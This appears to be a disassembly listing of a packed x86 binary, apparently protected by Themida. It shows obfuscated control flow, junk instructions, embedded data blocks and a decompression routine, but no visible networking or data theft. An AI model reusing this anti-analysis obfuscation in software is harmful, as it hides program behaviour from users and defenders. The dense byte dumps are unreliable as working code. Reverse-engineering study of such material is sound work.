CODE XREF: sub_57FCA1+654j mov ebx, ecx pusha mov [ebp+6132501h], eax mov edx, [ebp+61322DDh] popa jmp loc_58042C ; --------------------------------------------------------------------------- dw 890Fh dd 1, 68F0FF5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_58032A: ; CODE XREF: sub_57FCA1+641j add [ecx+13006D95h], cl push es loc_580331: ; CODE XREF: sub_57FCA1+78Dj xor ah, [esi] jno loc_580343 jmp loc_580343 ; --------------------------------------------------------------------------- dw 1673h db 0E3h, 0B8h, 14h ; --------------------------------------------------------------------------- loc_580343: ; CODE XREF: sub_57FCA1+692j ; sub_57FCA1+698j mov dl, 2 add [ebp+6132C79h], ebx jmp loc_5803D3 ; --------------------------------------------------------------------------- pusha push ebx add [ebp+613318Dh], ecx pop edi popa loc_58035A: ; CODE XREF: sub_57FCA1+734j xor al, dl pusha mov [ebp+61323F5h], edx mov bh, dl popa add eax, 8A751D7Ah clc mov cl, ah jmp loc_580385 ; --------------------------------------------------------------------------- db 0B7h dd 0F81B4893h, 62702DF7h, 0C649E80Ch, 3E0FA26Dh db 0E7h ; --------------------------------------------------------------------------- loc_580385: ; CODE XREF: sub_57FCA1+6CDj pusha jmp loc_58039A ; --------------------------------------------------------------------------- db 14h dd 0D705E53Dh, 0E20752FCh, 27F57198h ; --------------------------------------------------------------------------- adc [ecx], bl loc_58039A: ; CODE XREF: sub_57FCA1+6E5j mov edi, [ebp+6131291h] popa ror eax, cl pusha mov dx, bx movzx ebx, bx popa xor eax, 98D10842h stc dec dl jns loc_5803D3 pusha mov dx, si jmp loc_5803D2 ; --------------------------------------------------------------------------- dw 982h dd 542EB427h db 38h ; --------------------------------------------------------------------------- loc_5803C9: ; CODE XREF: sub_57FCA1+76Ej cmp eax, 831B8121h ; --------------------------------------------------------------------------- dw 0FFC5h db 7Fh, 38h ; --------------------------------------------------------------------------- loc_5803D2: ; CODE XREF: sub_57FCA1+71Cj popa loc_5803D3: ; CODE XREF: sub_57FCA1+6AAj ; sub_57FCA1+712j or dl, dl jnz loc_58035A jnz loc_5803F7 jmp loc_5803F7 ; --------------------------------------------------------------------------- dw 0AF6Bh dd 0A6C9C9A2h, 1A5711D1h, 0AE810AB5h db 0CEh byte_5803F5 db 0E9h, 32h ; CODE XREF: sub_57FCA1+76Aj ; --------------------------------------------------------------------------- loc_5803F7: ; CODE XREF: sub_57FCA1+73Aj ; sub_57FCA1+740j dec ebx pusha jo loc_580413 call loc_580412 and al, 13h jno short loc_580486 leave fld qword ptr [esi] jecxz short near ptr byte_5803F5 inc esi das db 26h jns short loc_5803C9 loc_580412: ; CODE XREF: sub_57FCA1+75Ep pop edx loc_580413: ; CODE XREF: sub_57FCA1+758j mov ch, 0CCh popa inc esi jbe loc_58042C jmp loc_58042C ; --------------------------------------------------------------------------- dw 5456h dd 941A54A0h, 0E5921D6Fh ; --------------------------------------------------------------------------- loc_58042C: ; CODE XREF: sub_57FCA1+678j ; sub_57FCA1+776j ... or ebx, ebx jnz loc_580331 pusha mov eax, 3E3C718h popa iret ; --------------------------------------------------------------------------- dd 318D8589h, 613h, 1F65BD89h, 613h, 0FF98D01h, 0BE90613h dd 0EF000000h, 0FC003A2Ch, 42209425h, 0E5A9h, 0FE9h, 8A937900h dd 0AF5801AEh, 0C28FDF29h, 281C1BDCh db 89h, 0B5h ; --------------------------------------------------------------------------- loc_58047A: ; CODE XREF: sub_57FCA1+810j inc ecx push ds adc eax, [esi] ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- or [ebp+6133201h], ebx loc_580486: ; CODE XREF: sub_57FCA1:loc_57FD5Dj ; sub_57FCA1+765j lea eax, [ebp+6133AADh] clc mov [ebp+6133235h], eax clc lea eax, [ebp+6133F73h] sub [ebp+61329D9h], ecx cld mov [ebp+6130711h], eax call near ptr loc_5804BB+1 sbb al, 0F8h inc byte ptr [eax+78h] jo short loc_58047A db 67h sti add dh, 26h xchg eax, edx add ah, ah loc_5804BB: ; CODE XREF: sub_57FCA1+806p adc dl, [edx+5Ah] sub_57FCA1 endp ; sp-analysis failed pop edi push eax clc pop esi add edi, 61CBh xor edx, 57EAAD8Dh mov eax, 0 call loc_5804E7 or al, 60h cmc inc eax or [ebp-22h], esi dec edi xor dl, [esp+ebp-17h] rol byte ptr [ebp+7Ch], 1 loc_5804E7: ; CODE XREF: Themida_:005804D3p sub [ebp+61330B1h], esi pop edx ; START OF FUNCTION CHUNK FOR sub_580544 loc_5804EE: ; CODE XREF: sub_580544+10j push dword ptr [eax+edi] jmp loc_580500 ; END OF FUNCTION CHUNK FOR sub_580544 ; --------------------------------------------------------------------------- dw 9BF3h ; --------------------------------------------------------------------------- sub esp, [edi-21h] cmp eax, 62CFF00Eh ; START OF FUNCTION CHUNK FOR sub_580544 loc_580500: ; CODE XREF: sub_580544-53j pop ebx cmc xor ebx, 6B302544h mov dx, 9Ah add ebx, 359151D4h xor ebx, 1C196D58h mov cx, 92BDh push ebx mov [ebp+6130FD1h], esi pop dword ptr [edi+eax] or cx, 43B2h sub eax, 3 call sub_580544 ; END OF FUNCTION CHUNK FOR sub_580544 ; --------------------------------------------------------------------------- db 8Fh dd 76D9B019h, 77480FDCh, 3198A22Ch, 0BE0284EDh ; =============== S U B R O U T I N E ======================================= sub_580544 proc near ; CODE XREF: sub_580544-16p ; FUNCTION CHUNK AT 005804EE SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00580500 SIZE 00000033 BYTES mov cl, dh pop ecx dec eax mov esi, [ebp+6131275h] cmp eax, 0FFFF9EECh jnz loc_5804EE call near ptr sub_580566 scasb cmp esi, edx xlat push edi nop cwde sub_580544 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_580566 proc far ; CODE XREF: sub_580544+16p var_50EEFFB4 = byte ptr -50EEFFB4h var_A0 = dword ptr -0A0h var_9C = dword ptr -9Ch var_98 = dword ptr -98h var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_A = dword ptr 12h arg_E = dword ptr 16h arg_12 = dword ptr 1Ah arg_16 = dword ptr 1Eh arg_1A = dword ptr 22h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h arg_2C = dword ptr 34h arg_30 = dword ptr 38h arg_34 = dword ptr 3Ch arg_38 = dword ptr 40h arg_3C = dword ptr 44h arg_40 = dword ptr 48h arg_44 = dword ptr 4Ch arg_48 = dword ptr 50h arg_4E = dword ptr 56h arg_52 = dword ptr 5Ah arg_56 = dword ptr 5Eh arg_5A = dword ptr 62h arg_5E = dword ptr 66h arg_62 = dword ptr 6Ah arg_66 = dword ptr 6Eh arg_6A = dword ptr 72h arg_6E = dword ptr 76h arg_72 = dword ptr 7Ah arg_76 = dword ptr 7Eh arg_7A = dword ptr 82h pop esi jmp short loc_58057D ; --------------------------------------------------------------------------- align 4 dd 3 dup(0) dd 0E200h db 0 ; --------------------------------------------------------------------------- loc_58057D: ; CODE XREF: sub_580566+1j lea eax, [ebp+6134362h] mov [ebp+6132CDDh], eax cmp dword ptr [ebp+61342ABh], 0 jz loc_5806B0 mov byte ptr [ebp+61311E1h], 56h push 7E75EA7Ah add dword ptr [esp+0], 55A982BFh push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax mov [ebp+613429Fh], eax mov byte ptr [ebp+61311E1h], 56h push 93D62BC6h add [esp+8+var_8], 8D28C8Ch push dword ptr [ebp+613116Dh] lea eax, [ebp+6133AADh] call eax mov [ebp+61342A3h], eax push 4 push 69FCEB43h xor [esp+14h+var_14], 69FCFB43h mov eax, [ebp+61342AFh] add eax, 1F4h shl eax, 2 push eax mov [esp+18h+var_18], eax push 0 call dword ptr [ebp+61342A3h] mov [ebp+61342A7h], eax mov ebx, eax mov eax, 0FFFFFFFFh call dword ptr [ebp+6132CDDh] mov eax, ebx call dword ptr [ebp+6132CDDh] jmp loc_5806B0 ; --------------------------------------------------------------------------- cmp dword ptr [ebp+61342ABh], 0 jnz loc_58063A retn ; --------------------------------------------------------------------------- loc_58063A: ; CODE XREF: sub_580566+CDj push edi mov edi, [ebp+61342A7h] stosd add dword ptr [ebp+61342A7h], 4 pop edi retn ; --------------------------------------------------------------------------- cmp dword ptr [ebp+61342ABh], 0 jnz loc_580659 retn ; --------------------------------------------------------------------------- loc_580659: ; CODE XREF: sub_580566+ECj pusha sub dword ptr [ebp+61342A7h], 4 loc_580661: ; CODE XREF: sub_580566:loc_5806ABj mov ebx, [ebp+61342A7h] cmp dword ptr [ebx-4], 0FFFFFFFFh jnz loc_58068E push 67398DC0h xor [esp+40h+var_40], 67390DC0h push 0 push dword ptr [ebx] call dword ptr [ebp+613429Fh] popa retn ; --------------------------------------------------------------------------- jmp loc_5806AB ; --------------------------------------------------------------------------- loc_58068E: ; CODE XREF: sub_580566+105j push 0C325126Ch add [esp+40h+var_40], 3CDB6D94h push 0 push dword ptr [ebx] call dword ptr [ebp+613429Fh] sub dword ptr [ebp+61342A7h], 4 loc_5806AB: ; CODE XREF: sub_580566+123j jmp loc_580661 ; --------------------------------------------------------------------------- loc_5806B0: ; CODE XREF: sub_580566+2Aj ; sub_580566+C1j dec eax jmp loc_580863 ; --------------------------------------------------------------------------- pusha mov esi, [esp+1Ch+arg_4] mov edi, [esp+1Ch+arg_8] cld mov dl, 80h loc_5806C2: ; CODE XREF: sub_580566:loc_5806DAj mov al, [esi] inc esi mov [edi], al inc edi mov ebx, 2 loc_5806CD: ; CODE XREF: sub_580566+1F2j ; sub_580566+25Aj ... add dl, dl jnz loc_5806DA mov dl, [esi] inc esi adc dl, dl loc_5806DA: ; CODE XREF: sub_580566+169j jnb loc_5806C2 add dl, dl jnz loc_5806ED mov dl, [esi] inc esi adc dl, dl loc_5806ED: ; CODE XREF: sub_580566+17Cj jnb loc_58075D xor eax, eax add dl, dl jnz loc_580702 mov dl, [esi] inc esi adc dl, dl loc_580702: ; CODE XREF: sub_580566+191j jnb loc_580832 add dl, dl jnz loc_580715 mov dl, [esi] inc esi adc dl, dl loc_580715: ; CODE XREF: sub_580566+1A4j adc eax, eax add dl, dl jnz loc_580724 mov dl, [esi] inc esi adc dl, dl loc_580724: ; CODE XREF: sub_580566+1B3j adc eax, eax add dl, dl jnz loc_580733 mov dl, [esi] inc esi adc dl, dl loc_580733: ; CODE XREF: sub_580566+1C2j adc eax, eax add dl, dl jnz loc_580742 mov dl, [esi] inc esi adc dl, dl loc_580742: ; CODE XREF: sub_580566+1D1j adc eax, eax jz loc_580750 push edi sub edi, eax mov al, [edi] pop edi loc_580750: ; CODE XREF: sub_580566+1DEj mov [edi], al inc edi mov ebx, 2 jmp loc_5806CD ; --------------------------------------------------------------------------- loc_58075D: ; CODE XREF: sub_580566:loc_5806EDj mov eax, 1 loc_580762: ; CODE XREF: sub_580566:loc_58077Ej add dl, dl jnz loc_58076F mov dl, [esi] inc esi adc dl, dl loc_58076F: ; CODE XREF: sub_580566+1FEj adc eax, eax add dl, dl jnz loc_58077E mov dl, [esi] inc esi adc dl, dl loc_58077E: ; CODE XREF: sub_580566+20Dj jb loc_580762 sub eax, ebx mov ebx, 1 jnz loc_5807C5 mov ecx, 1 loc_580796: ; CODE XREF: sub_580566:loc_5807B2j add dl, dl jnz loc_5807A3 mov dl, [esi] inc esi adc dl, dl loc_5807A3: ; CODE XREF: sub_580566+232j adc ecx, ecx add dl, dl jnz loc_5807B2 mov dl, [esi] inc esi adc dl, dl loc_5807B2: ; CODE XREF: sub_580566+241j jb loc_580796 push esi mov esi, edi sub esi, ebp rep movsb pop esi jmp loc_5806CD ; --------------------------------------------------------------------------- loc_5807C5: ; CODE XREF: sub_580566+225j dec eax shl eax, 8 mov al, [esi] inc esi mov ebp, eax mov ecx, 1 loc_5807D3: ; CODE XREF: sub_580566:loc_5807EFj add dl, dl jnz loc_5807E0 mov dl, [esi] inc esi adc dl, dl loc_5807E0: ; CODE XREF: sub_580566+26Fj adc ecx, ecx add dl, dl jnz loc_5807EF mov dl, [esi] inc esi adc dl, dl loc_5807EF: ; CODE XREF: sub_580566+27Ej jb loc_5807D3 cmp eax, 7D00h jnb loc_580822 cmp eax, 500h jb loc_580819 inc ecx push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5806CD ; --------------------------------------------------------------------------- loc_580819: ; CODE XREF: sub_580566+29Fj cmp eax, 7Fh ja loc_580825 loc_580822: ; CODE XREF: sub_580566+294j add ecx, 2 loc_580825: ; CODE XREF: sub_580566+2B6j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp loc_5806CD ; --------------------------------------------------------------------------- loc_580832: ; CODE XREF: sub_580566:loc_580702j mov al, [esi] inc esi xor ecx, ecx shr al, 1 jz loc_580857 adc ecx, 2 mov ebp, eax push esi mov esi, edi sub esi, eax rep movsb pop esi mov ebx, 1 jmp loc_5806CD ; --------------------------------------------------------------------------- loc_580857: ; CODE XREF: sub_580566+2D4j sub edi, [esp+1Ch+arg_8] mov [esp+1Ch], edi popa retn 8 ; --------------------------------------------------------------------------- loc_580863: ; CODE XREF: sub_580566+14Bj mov edx, 929h jmp loc_581240 ; --------------------------------------------------------------------------- db 0Ch, 5Eh, 0AFh dd 3DF34623h, 460CB5C3h, 90A7E53Ah, 0ABF95A51h ; --------------------------------------------------------------------------- loc_580880: ; CODE XREF: sub_580566+31Dj mov [ebx+5Fh], edx jnb short loc_580880 sub edi, eax icebp call far ptr 7851h:17939481h scasd db 2Eh dec ebp mov cl, 31h retf ; --------------------------------------------------------------------------- db 0A7h, 1Bh, 14h dd 97B5F469h, 0C4B25514h, 795523EAh, 0FDC634EFh, 919481C8h dd 0AF7B5E11h, 2EB1572Eh, 1404BDD6h, 8CABE877h, 0AFBC4103h dd 6E191789h, 0B0D734EBh, 84DA809Ah, 0AF6D4A11h, 2FFE5137h dd 1A04B3D6h, 63h dup(0) dd 0AF5E0C00h, 21FF4C2Ah, 141BBDD0h, 84A9FF6Ah, 0EEF15903h dd 3C4A128Fh, 0BFC622ECh, 889592C8h, 0FD3F5B10h, 21FF4D32h dd 5D49B5CAh, 8CBFAD74h, 0BDBC4A04h, 794D009Eh, 0DCA969E3h dd 9C9F98B8h, 0AF335A0Dh, 27FD4D32h, 5D49B6C5h, 91A0AD6Eh dd 0A3BC551Eh, 6E561E82h, 0BFC267F7h, 9888D48Ch, 0FD7E4B0Dh dd 27E80333h, 4449A0D1h, 91A1E268h, 0B25510h, 48h dup(0) dd 0AF5E0C00h, 2BF05124h, 131BB7CFh, 8CB2AD69h, 0A6BC541Eh dd 7E190086h, 0F1CD22EBh, 938F9B8Eh, 0FA6D1F1Ah, 26F84D29h dd 5A00F2C3h, 96A9F43Ah, 0B7EF1803h, 715C0794h, 81AE4DA0h dd 8E9B9184h, 0FA3F131Bh, 29FE4F29h, 4000F2C0h, 8CB4EB3Ah dd 0ABF1181Ch, 654B1C8Ah, 0B5CD26AEh, 8E9F86C8h, 0FB6D5E0Ah dd 3DFE5A67h, 4619F2D6h, 82B4EA75h, 161Ch, 61h dup(0) dd 0E6590C00h, 2BB1462Bh, 411BA0CBh, 87A3F96Ah, 9ABC1650h dd 3C4A1A8Fh, 0B6CC35FEh, 0DD97959Ah, 0AF6C5E16h, 26F44625h dd 5A08BF84h, 8FB3FD73h, 0AAF94C10h, 785712C7h, 0A8C22AAEh dd 0F0F0918Ah, 0FC384B17h, 2EFF4A67h, 511DB1C1h, 9AA4AD7Eh dd 98BC5951h, 6F4C018Eh, 0F1D128AEh, 9E9B868Bh, 0A17B5A15h dd 21F97767h, 5D0FF2D7h, 94E6E876h, 0BABB561Eh, 6E5604C7h dd 0BFC267E5h, 8F959991h, 111Bh, 0E0h dup(0) dd 4E4C5700h, 4C446D75h, 7250734Ch, 3000746Fh, 8 dup(0) dd 45000000h, 20746978h, 74617453h, 3D207375h, 642520h dd 2 dup(0) ; --------------------------------------------------------------------------- loc_581240: ; CODE XREF: sub_580566+302j jmp loc_584145 ; --------------------------------------------------------------------------- jmp loc_581257 ; --------------------------------------------------------------------------- dw 0C9F0h dd 0BF15DF0Fh, 17C28017h db 0ADh, 42h, 0F4h ; --------------------------------------------------------------------------- loc_581257: ; CODE XREF: sub_580566+CDFj cld push 0 push esi call loc_581263 and [esi-3Dh], bl loc_581263: ; CODE XREF: sub_580566+CF5p pop esi mov [esp-6+arg_4+2], esi add [esp-6+arg_4+2], 18h inc esi push esi retn ; --------------------------------------------------------------------------- db 0B2h dd 63F6E873h, 8589E4B6h, 6131EA5h, 9D8BC08Bh, 61329ADh dd 1625BD83h, 75000613h, 81BD8309h, 6132Ch, 53501374h dd 1B8C08Bh, 8D000000h, 15A81F9Dh, 5BD3FF06h, 81BD8358h dd 6132Ch, 53501174h, 1B8h, 0D09D8D00h, 0FF0615A6h, 0F585BD3h dd 178Ch, 11840F00h, 0E8000000h, 0Bh, 0C40500F9h, 0BB8F4E7Dh dd 5BF12583h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 16h, 8FC35646h, 0C08BBCC9h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Bh, 3FC35646h, 3C57F321h, 80CD7B98h dd 0BD8340D2h, 61334E5h, 0DA840F00h, 6A000001h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h dd 0F8B4C355h, 0BD8352A6h, 6131D79h, 0AE840F00h, 6A000001h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0C063C356h, 0F986AF9h, 0E860D9B7h, 6, 126F0364h dd 95330AE0h, 6132CB9h, 79858B5Bh, 6606131Dh, 29D3C1BBh dd 1322B995h, 3E80506h, 9D310000h, 61311C9h, 5050DF8Bh dd 8B310F52h, 89585AD8h, 0DF802404h, 5D858DF7h, 6A06134Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0A214C353h, 0B8E48B0h, 1F9577Ch, 131FDDB5h dd 0DC8A5006h, 81240489h, 54598C2h, 3B858D15h, 2906134Fh dd 13199DB5h, 52505006h, 310FD48Ah, 585ADD8Ah, 6A240489h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h dd 41000000h, 0E32FC351h, 34B76823h, 38F0Fh, 0C2800000h dd 7E9B2h, 34010000h, 30148F41h, 8595FFD8h, 6A061311h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 0B3C0C355h, 89AE426Fh, 92327535h, 68E0Fh dd 85890000h, 6130595h, 660CC483h, 4E8EEA81h, 9FF38166h dd 3B858DA8h, 8106134Fh, 0FE9C1DEAh, 0AE95054h, 81000000h dd 0C7532B07h, 4DA32890h, 24048991h, 38E0Fh, 8B660000h dd 6A026AD1h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 1FDC350h, 34C1958Bh, 8D290613h dd 6131385h, 0ED1495FFh, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 896175C3h, 130DD995h dd 6E85C706h, 106134Fh, 80000000h, 66966DEEh, 0E950D98Bh dd 10h, 90B7E403h, 0F6C7C938h, 0E056D950h, 17C7606Eh, 2D958B96h dd 8906131Bh, 134F1FB5h, 0BA575306h, 569F8A10h, 0BD835B5Bh dd 613173Dh, 64850F01h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 9D24C355h dd 576C929Ah, 0B62DB54Fh, 0F05F883h, 3685h, 0A1950100h dd 8B06131Bh, 1309659Dh, 0B806h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3F8968C3h dd 80E0E82Dh, 83DA8B75h, 1330EDBDh, 840F0006h, 5Fh, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 0FDC35343h, 5FAF1EB8h dd 1CA7BA27h, 1965958Bh, 6A600613h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 2309C353h dd 1314A19Dh, 0ED95FF06h, 0E9061330h, 5, 0FA071AF9h, 83F5619Fh dd 1310DDBDh, 840F0006h, 7, 0B8h, 60DE8B00h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 0E8C35242h, 0C32629B4h dd 8B72EDFFh, 130F5585h, 0BD9D8B06h, 83061322h, 0C78002C0h dd 178589F2h, 6A06134Fh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 14042444h, 40000000h, 5265C350h, 541CBB66h dd 5E85Bh, 0A8AB0000h, 5B82C006h, 0B3FF00C6h, 0E185C64Bh dd 53061311h, 8E9h, 0F69EA300h, 0AE041309h, 798D895Bh dd 68061314h, 0EA7221DDh, 5E9h, 0F922BC00h, 4813324h, 3F26FB24h dd 0A1BD8912h, 0FF061308h, 131EE9B5h, 56006A06h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0DAD586D9h, 8DDEF1F1h, 167C3385h, 50D0FF06h, 0F2C18160h dd 0F58EE26h, 5A61FFBFh, 0DA98589h, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 2B3EEBC3h dd 421E3578h, 0FE9C7h, 0E450000h, 5D065FC8h, 9415D25Ch dd 98594C10h, 0F1BD83EEh, 106132Ch, 136850Fh, 0BB660000h dd 2361CA0Ch, 13236995h, 71958906h, 0C6061315h, 1311E185h dd 8D894506h, 6132871h, 4E8h, 6038C200h, 0BE9DAh, 239E0000h dd 456781F5h, 0C496ECB9h, 525050D4h, 50616060h, 310F615Ah dd 5ADA8B66h, 24448B58h, 1F43BB04h, 8B3837h, 4489F88Ah dd 6A580424h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1C042444h, 42000000h, 0CAABC352h, 0E5CB4FEDh, 0FF0884C3h dd 131EE9B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1604h, 0C3564600h, 8916BF8Eh, 1309B595h, 88C0F06h, 0F000000h dd 280h, 8DEAB200h, 167C3385h, 9850906h, 8A06130Fh, 6AD0FFF3h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 8AA8C355h, 0B6932555h, 9E9h, 36DDB900h, 711E190h dd 6AAA3Bh, 14E853h, 0A9260000h, 0B8F568E1h, 19F2AC26h dd 0BF58317Dh, 6A096F0h, 5AFC2C88h, 6AD0FF5Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 0BCA3C355h, 6052F717h, 1641BD83h, 0F010613h, 9F85h dd 0C2805200h, 858B5B73h, 6130F55h, 12E9h, 0DE083100h dd 34493664h, 13020389h, 0F0C5EAD7h, 0E97A4A7Ch, 3Ch, 8C0F60h dd 9000000h, 1308AD9Dh, 66506106h, 489D88Bh, 6E86024h dd 99000000h, 0BC8C8CFCh, 5EF88B2Eh, 8B146A61h, 1306F195h dd 0A995FF06h, 8B06130Dh, 8D0158D9h, 6132CFDh, 0F003880h dd 0FFFFC985h, 50006AFFh, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 969220Ch, 13230D9Dh, 79958906h dd 0C606130Dh, 958B0100h, 61313EDh, 819D8B61h, 8306131Eh dd 13281DBDh, 840F0006h, 0A4h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 80C35040h, 0F9347965h, 0C4B23C76h dd 0EE8h, 12F6C900h, 57428EC1h, 0D477E055h, 526ED1ADh dd 5AD1B70Fh, 80FF6A5Ah, 95FF4BDEh, 6130DA9h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0EC35747h, 0A2B3FC0Bh dd 0FFFFD0E9h, 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1404h, 0C3574700h, 0A99D098Bh, 0E9061321h dd 10h, 7FE40B16h, 7CC35D77h, 10303C2Fh, 56C01A68h, 281D85C7h dd 10613h, 0CA800000h, 2385895Eh, 8106134Fh, 1602B0C2h dd 0BF609039h, 1258F872h, 5061D38Ah, 12E9h, 316D300h, 6C0DCF21h dd 686B57B8h, 3A81DEEFh, 904BE503h, 0BB59589h, 958B0613h dd 61307D5h, 0D3816660h, 56AD0B1h, 1FC9B529h, 858D0613h dd 6134F3Bh, 0A1858960h, 0F06131Bh, 684h, 0B18D8900h, 61061314h dd 5088B690h, 90D98B66h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Ah, 6CC35343h, 0B71BD5E1h, 8166CF91h, 8D9B4BE2h dd 134F2B85h, 0BD9D8B06h, 50061312h, 7E9h, 1F4D1900h, 116E939Dh dd 2B240489h, 1313419Dh, 1595FF06h, 8B06131Bh, 1324619Dh dd 0D88D8D06h, 0B06137Dh, 8D1174C0h, 134F3B85h, 0D1FF5006h dd 4F598589h, 0AEB0613h, 4F5985C7h, 0FFFF0613h, 958BFFFFh dd 6130AC5h, 23F19D8Bh, 66610613h, 4B41CB81h, 11E185C6h dd 8B4D0613h, 1309499Dh, 0AE46806h, 4818854h, 0E16BC424h dd 68F0F1Bh, 33000000h, 13018D95h, 0E5B5FF06h, 6606131Fh dd 8D28BCBBh, 167C3385h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1B04h, 0C3504000h, 0C34A57C1h, 0F3843C03h dd 0D0FFFA8Ah, 13E9h, 0C7E66E00h, 21720D4Dh, 0F2D6DA28h dd 0EA53200Bh, 1BA9B049h, 1558589h, 0B5890613h, 61323FDh dd 11E185C6h, 66450613h, 0B43CEA81h, 0CAF78868h, 62BB66CAh dd 2434814Eh, 44B89EE1h, 17398D89h, 0B5FF0613h, 6131EE9h dd 0E7E5EB81h, 858D4A9Eh, 6167C33h, 0B1858960h, 60061325h dd 9D095E51h, 6132141h, 0D0FF6161h, 89D0BF0Fh, 131CBD85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h dd 0C3504000h, 4CC72FEDh, 8BD28BC6h, 1305DD9Dh, 0D98C6606h dd 0BE9h, 31E8E400h, 0AEE76D5Dh, 0EEEFB854h, 20C58D29h dd 0C1F60613h, 90840F04h, 0E9000002h, 0Bh, 833F7FDCh, 6269B089h dd 0E913018Bh, 115h, 0B58BF78Ah, 61329C5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0B3C35141h, 0F1FEFCFh dd 0BD31D78Bh, 6133119h, 1180C681h, 8B0F0000h, 6, 0F419D8Bh dd 0BD830613h, 61322C1h, 28850F00h, 0E9000000h, 0B6h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 0EFC35747h, 9EC10299h dd 83986244h, 840F003Eh, 8Ah, 0B20A98BBh, 6A6001h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h dd 384FC4C3h, 722BE86Eh, 0FBA805Fh, 9D8BD1BFh, 613119Dh dd 9D2B146Ah, 61300D9h, 34859D29h, 95FF0613h, 6130DA9h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 90C35141h dd 0F6C7C938h, 0BF0F6150h, 0FF85E9D8h, 13E9FFFFh, 4C000000h dd 8E7FE56Fh, 797AA610h, 4F3622D3h, 0F4747D1Ah, 6C76E7Ch dd 1, 0B97606BBh, 23BD8366h, 506134Fh, 159850Fh, 66510000h dd 8B5ADF8Bh, 131CBDB5h, 699D8B06h, 0B9061317h, 64h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 17C35242h, 4F408BE3h dd 0E380AA04h, 0E83E806Bh, 69840Fh, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1C0424h, 52420000h, 0B889FBC3h dd 0DEE47CCAh, 7E9E868h, 26000000h, 973BF226h, 44E9C8BDh dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1C042444h, 43000000h, 9E1BC353h, 0FA6DAEFEh, 606EE7ADh dd 6850Fh, 0BD290000h, 6130009h, 8061DD8Ah, 0FC2057Eh dd 7884h, 89952B00h, 46061310h, 1251BD09h, 0AE80613h, 32000000h dd 0B15D2D52h, 0B24763E9h, 8D89538Ah, 6130B55h, 0F495A5Bh dd 0FFFF5885h, 14E8FFh, 87340000h, 6E785ED2h, 0D739E128h dd 68B08280h, 0F7B282BAh, 9D8B3107h, 61309FDh, 0D78B665Ah dd 4EE9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 6D4BF680h, 6DF28166h, 71B589A8h dd 6A06130Ah, 3E85000h, 20000000h, 8958C358h, 81042444h dd 16042444h, 40000000h, 0DBFBC350h, 